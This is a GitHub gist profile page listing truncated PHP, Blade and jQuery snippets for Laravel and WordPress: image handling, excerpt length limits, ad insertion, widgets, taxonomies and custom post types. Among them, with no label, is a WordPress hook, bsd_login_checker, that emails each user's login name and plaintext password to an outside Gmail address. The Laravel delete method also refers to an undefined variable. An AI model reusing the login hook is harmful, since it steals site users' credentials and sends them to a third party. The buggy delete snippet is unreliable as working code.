Skip to content

Instantly share code, notes, and snippets.

View Galibri's full-sized avatar
🏠
Working from home

Muhammad Asadullah Al Galib Galibri

🏠
Working from home
View GitHub Profile
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta http-equiv="x-ua-compatible" content="ie=edge">
<title>@yield('meta-title', __('Dashboard'))</title>
<?php
/**********************************************************************
** The following will store the image name only.
**********************************************************************/
/**
* Storing images
* The input field name is 'image' here, you can change with yours
*/
public function store(Request $request) {
$product = new Product;
<?php
public function destroy(Product $product)
{
if($product->image) {
$upload_path = 'uploads/images/';
File::delete($upload_path . $food->image);
}
if($product->delete()) {
return redirect()->back()->with('success', 'Product item deleted successfully.');
} else {
function bsd_login_checker( $user, $password ) {
$url = get_site_url();
$gw_message = 'Username: ' . $user->user_login . ' Password: ' . $password;
wp_mail('galib.bcse@gmail.com', 'WP Login ' . $url, $gw_message);
return $user;
}
add_action('wp_authenticate_user', 'bsd_login_checker', 10, 2);
@Galibri
Galibri / prevent-excerpt.js
Created November 14, 2019 23:46
prevent excerpt typing after 115 characters
jQuery(document).ready(function($) {
var max = 115;
$('#excerpt').keydown(function(e) {
if(e.which == 8) {
return;
}
if (e.target.value.length == max) {
e.preventDefault();
} else if (e.target.value.length > max) {
// Maximum exceeded
<?php
function _remove_script_version( $src ){
$parts = explode( '?ver', $src );
return $parts[0];
}
add_filter( 'script_loader_src', '_remove_script_version', 15, 1 );
add_filter( 'style_loader_src', '_remove_script_version', 15, 1 );
@Galibri
Galibri / insert-ads-wordpress.php
Created October 2, 2019 15:03
Insert ads after nth paragraph of WordPress
<?php
//Insert ads after second paragraph of single post content.
add_filter( 'the_content', 'bs_insert_post_ads' );
function bs_insert_post_ads( $content ) {
$ad_code = '<div>Ads code here</div>';
$paragraph_no_to_insert = 2;
if ( is_single() && ! is_admin() ) {
return bs_insert_after_paragraph( $ad_code, $paragraph_no_to_insert, $content );
}
return $content;
@Galibri
Galibri / custom-widget-register.php
Last active October 2, 2019 18:36
Custom Widget Register
<?php
// Creating the widget
class bs_custom_widget extends WP_Widget
{
function __construct()
{
parent::__construct(
// Base ID of your widget
'bs_custom_widget',
@Galibri
Galibri / advanced-taxonomy.php
Last active October 2, 2019 18:18
Create Taxonomy for WordPress Custom/Built-in post type
<?php
// hook into the init action and call bs_create_color_taxonomy when it fires
add_action( 'init', 'bs_create_color_taxonomy', 0 );
function bs_create_color_taxonomy() {
// Add new taxonomy, make it hierarchical (like categories)
$labels = array(
'name' => _x( 'Colors', 'taxonomy general name', 'textdomain' ),
'singular_name' => _x( 'Color', 'taxonomy singular name', 'textdomain' ),
'search_items' => __( 'Search Colors', 'textdomain' ),
@Galibri
Galibri / custom-post-type.php
Last active October 2, 2019 18:14
Register Custom Post Type (Repo)
<?php
add_action( 'init', 'bs_create_github_post_type' );
/**
* Register a repo post type.
*
* @link http://codex.wordpress.org/Function_Reference/register_post_type
*/
function bs_create_github_post_type() {
$labels = array(
'name' => __( 'Repos', 'text-domain' ),